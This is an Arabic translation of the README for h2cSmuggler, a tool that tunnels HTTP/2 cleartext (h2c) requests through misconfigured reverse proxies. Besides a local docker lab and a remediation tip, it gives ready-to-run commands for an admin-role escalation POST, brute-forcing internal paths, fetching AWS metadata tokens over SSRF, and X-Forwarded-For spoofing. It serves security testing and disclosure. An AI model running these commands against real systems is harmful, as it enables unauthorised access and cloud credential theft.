
تهريب طلبات HTTP عبر HTTP/2 بنص واضح (h2c)
يقوم h2cSmuggler بتهريب حركة مرور HTTP عبر تكوينات proxy_pass غير آمنة على الخوادم الطرفية عن طريق إنشاء اتصالات HTTP/2 بنص واضح (h2c) مع خوادم خلفية متوافقة مع h2c، مما يسمح بتجاوز قواعد الوكيل وضوابط الوصول.
اطلع على مقالتي التفصيلية أدناه حول:
هنا: https://labs.bishopfox.com/tech-blog/h2c-smuggling-request-smuggling-via-http/2-cleartext-h2c
أي نقطة نهاية وكيل تقوم بإعادة توجيه رؤوس ترقية h2c يمكن أن تتأثر. نظرًا لأن h2c يُقصد تنفيذه فقط عبر قنوات النص الواضح، فإن الكشف على خدمات HTTPS غالبًا ما يؤدي إلى نتائج إيجابية حقيقية.
في المقابل، قد تؤدي خدمات HTTP إلى نتائج إيجابية خاطئة. على سبيل المثال، قد تستجيب الوكلاء الممكّنة لـ h2c لطلب الترقية بدلاً من إعادة توجيهها إلى خلفية h2c.
استخدم الخيار --scan-list لاختبار خادم ويب واحد أو أكثر للبحث عن نقاط نهاية proxy_pass المتأثرة. فكر في استخدام قائمة بالأدلة المكتشفة من تعداد الدليل، مثل:
urls.txt
https://www.example.com/
https://www.example.com/api/
https://www.example.com/auth/
https://www.example.com/admin/
https://www.example.com/payments/
...omitted for brevity...
قم بتشغيل h2cSmuggler مع قائمة نقاط النهاية وعدد إجمالي من الخيوط:
./h2csmuggler.py --scan-list urls.txt --threads 5
أو، يمكن إجراء اختبار فردي باستخدام:
./h2csmuggler.py -x https://www.example.com/api/ --test
بمجرد تحديد نقطة نهاية متأثرة يمكن استخدامها للأنفاق، يمكنك الآن الوصول إلى نقاط النهاية الداخلية أو فرضها بالقوة على الخادم الخلفي وتوفير أفعال أو رؤوس مخصصة. في العرض التوضيحي أدناه، نعرض الوصول إلى نقطة نهاية داخلية /flag باستخدام تهريب h2c لتجاوز قواعد رفض الوكيل.
للمعالجة، لا تقم بإعادة توجيه القيم التي يوفرها المستخدم لرؤوس Upgrade أو Connection. راجع المقالة الفنية للحصول على إرشادات إضافية.
الاعتماد الوحيد هو مكتبة Python hyper-h2:
pip3 install h2
ستتيح لك بيئة الاختبار تجربة h2cSmuggler في بيئة خاضعة للتحكم. سيقوم docker-compose بمحاكاة ثلاث سلاسل من الوكلاء تؤدي إلى خلفية Golang ممكّنة لـ h2c:
منفذ TCP: الوصف
======== ===========
8000: خلفية HTTP h2c
8001: HAProxy -> خلفية h2c (تكوين افتراضي غير آمن)
8002: nginx -> خلفية h2c (تكوين مخصص غير آمن)
8003: Nuster -> HAProxy -> خلفية h2c (تكوين غير آمن مع طبقات متعددة من الوكلاء)
[1] قم بإنشاء الشهادات وشغّل البيئة باستخدام docker-compose:
# إنشاء الشهادات
./configs/generate-certificates.sh
# تفعيل الخدمات
docker-compose up
جميع الوكلاء يمنعون الوصول إلى نقطة النهاية /flag المتاحة على الخلفية h2c. لنحاول الوصول إلى نقطة النهاية المحظورة عبر خادم HAProxy الذي يعمل على المنفذ 8001:
يمكننا استخدام h2cSmuggler لتأكيد التكوين غير الآمن للوكيل باستخدام --test (أو -t):
الآن، دعنا نستخدم h2cSmuggler لإجراء ترقية h2c، ونفق حركة مرور HTTP/2 الخاصة بنا عبر الوكيل، ونطلب نقطة النهاية /flag من الخلفية، متجاوزين بذلك التحكم في الوصول للوكيل:
للحصول على شرح أعمق لما يحدث، اطلع على المقالة الفنية.
يستخدم h2cSmuggler بنية مشابهة لـ curl لوصف الطلب المهرب:
usage: h2csmuggler.py [-h] [--scan-list SCAN_LIST] [--threads THREADS] [--upgrade-only] [-x PROXY] [-i WORDLIST] [-X REQUEST] [-d DATA] [-H HEADER] [-m MAX_TIME] [-t] [-v]
[url]
اكتشاف واستغلال إعادة التوجيه غير الآمنة لترقيات h2c.
الوسائط الموضعية:
url
الوسائط الاختيارية:
-h, --help عرض رسالة المساعدة هذه والخروج
--scan-list SCAN_LIST
قائمة عناوين URL للمسح
--threads THREADS عدد الخيوط (للاستخدام مع --scan-list)
--upgrade-only إزالة HTTP2-Settings من رأس Connection الصادر
-x PROXY, --proxy PROXY
خادم الوكيل لمحاولة تجاوزه
-i WORDLIST, --wordlist WORDLIST
قائمة بالمسارات لفرضها بالقوة
-X REQUEST, --request REQUEST
الفعل المهرب
-d DATA, --data DATA البيانات المهربة
-H HEADER, --header HEADER
الرؤوس المهربة
-m MAX_TIME, --max-time MAX_TIME
مهلة المقبس بالثواني (نوع: float; الافتراضي 10)
-t, --test اختبار خادم وكيل واحد
-v, --verbose
1. مسح قائمة عناوين URL (مثل https://example.com:443/api/ و https://example.com:443/payments و https://sub.example.com:443/) لتحديد نقاط نهاية proxy_pass المعرضة للتهريب (كن حذرًا مع عدد الخيوط عند اختبار خادم واحد):
./h2csmuggler.py --scan-list urls.txt --threads 5
أو، لتوجيه الإخراج إلى ملف. استخدم stderr (2>) و stdout (1>). يحتوي تيار stderr على الأخطاء (مثل مشاكل SSL handshake/مهلة)، بينما يحتوي stdout على النتائج.
./h2csmuggler.py --scan-list urls.txt --threads 5 2>errors.txt 1>results.txt
2. إرسال طلب POST مهرب عبر https://edgeserver إلى نقطة نهاية داخلية:
./h2csmuggler.py -x https://edgeserver -X POST -d '{"user":128457 "role": "admin"}' -H "Content-Type: application/json" -H "X-SYSTEM-USER: true" http://backend/api/internal/user/permissions
3. فرض نقاط النهاية الداخلية بالقوة (باستخدام إرسال HTTP/2 المتعدد)، حيث يمثل dirs.txt قائمة بالمسارات (مثل /api/ و /admin/):
/h2csmuggler.py -x https://edgeserver -i dirs.txt http://localhost/
4. استغلال SSRF عبر رأس Host عبر تهريب h2c (مثل بيانات AWS الوصفية IMDSv2):
استرداد الرمز المميز:
./h2csmuggler.py -x https://edgeserver -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" http://169.254.169.254/latest/api/token`
إرسال الرمز المميز:
./h2csmuggler.py -x https://edgeserver -H "x-aws-ec2-metadata-token: TOKEN" http://169.254.169.254/latest/meta-data/
5. تزوير عنوان IP باستخدام رأس X-Forwarded-For للوصول إلى لوحة تحكم داخلية:
./h2csmuggler.py -x https://edgeserver -H "X-Forwarded-For: 127.0.0.1" -H "X-Real-IP: 172.16.0.1" http://backend/system/dashboard
س: لماذا توجد استجابات متعددة من الخادم؟
ج: الاستجابة الأولى هي استجابة البيانات لطلب الترقية الأصلي الذي بدأ في HTTP/1.1، وفقًا لبروتوكول ترقية h2c. الاستجابات التالية هي من الطلب المهرب.
س: تلقيت "101 Switching Protocols" لكنني لا أتلقى أي بيانات من الخادم البعيد.
ج: لاحظت هذا السلوك في اختباراتي ووجدت أن بعض الخوادم تستجيب بحالة 101 حتى لو كانت لا تدعم HTTP/2 فعليًا.
س: هل إنشاء نفق h2c يعتبر دائمًا ثغرة أمنية؟
ج: لا. ضع في اعتبارك موازن تحميل TCP ينهي TLS (مثل ELB) يقوم بالوكالة مباشرة إلى خلفية متوافقة مع h2c. على الرغم من أنه قد تتمكن من إنشاء اتصال h2c، إلا أنه إذا لم يتم فرض أي ضوابط وصول، فلا توجد ضوابط وصول يمكن تجاوزها، أو امتياز يتم الحصول عليه من بدء هذا النفق.
س: لماذا يتطلب URI الطلب المهبر مخططًا؟ وما الغرض منه؟
ج: يتطلب بروتوكول HTTP/2 رأسًا زائفًا :scheme. لحالة الاستخدام لدينا، من المحتمل ألا يهم http مقابل https. لمزيد من التفاصيل، راجع RFC HTTP/2: القسم 8.1.2.3.
س: ما الذي يجب استخدامه كاسم مضيف لخادم الخلفية؟
ج: من الأفضل البدء بنفس اسم المضيف لخادم الحافة. بعد ذلك، جرب تجربة قيم اسم مضيف بديلة.
تويتر: @theBumbleSec
GitHub: the-bumble